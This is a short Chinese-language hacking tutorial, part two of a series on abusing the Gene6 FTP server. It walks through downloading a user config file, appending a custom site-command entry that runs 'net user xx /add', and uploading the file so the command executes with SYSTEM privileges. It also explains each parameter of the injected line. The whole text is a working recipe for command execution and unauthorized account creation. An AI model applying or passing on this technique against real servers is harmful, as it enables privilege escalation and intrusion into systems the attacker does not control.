新思路利用 Gene6 FTP 遠端恢復系統管理員密碼（二）：修改 FTP 設定檔註冊自定指令

系列第二回：下載 FTP 使用者設定檔 softer.ini，註冊 site cmd 自定指令對應批次檔執行，上傳覆蓋生效。

關鍵操作

1. 以具權限帳號 softer 登入 FTP，進入 accounts/it168/users 目錄
2. 下載 softer.ini 至本地
3. 記事本編輯，末尾新增：
   SiteCommandList0=-1,cmd,net user xx /add,0,60,-1,-1
4. 上傳覆蓋原檔

圖 3

圖 4

參數解析

• SiteCommandList0：自定指令索引（0,1,2...遞增）
• cmd：指令類型，觸發方式為 site cmd
• net user xx /add：實際執行的系統指令
• 0：不將輸出導向客戶端
• 60：逾時 60 秒
• -1,-1：保留選項

Gene6 以 SYSTEM 權限運行，故指令具完整系統控制力。此為配置檔注入攻擊典型手法。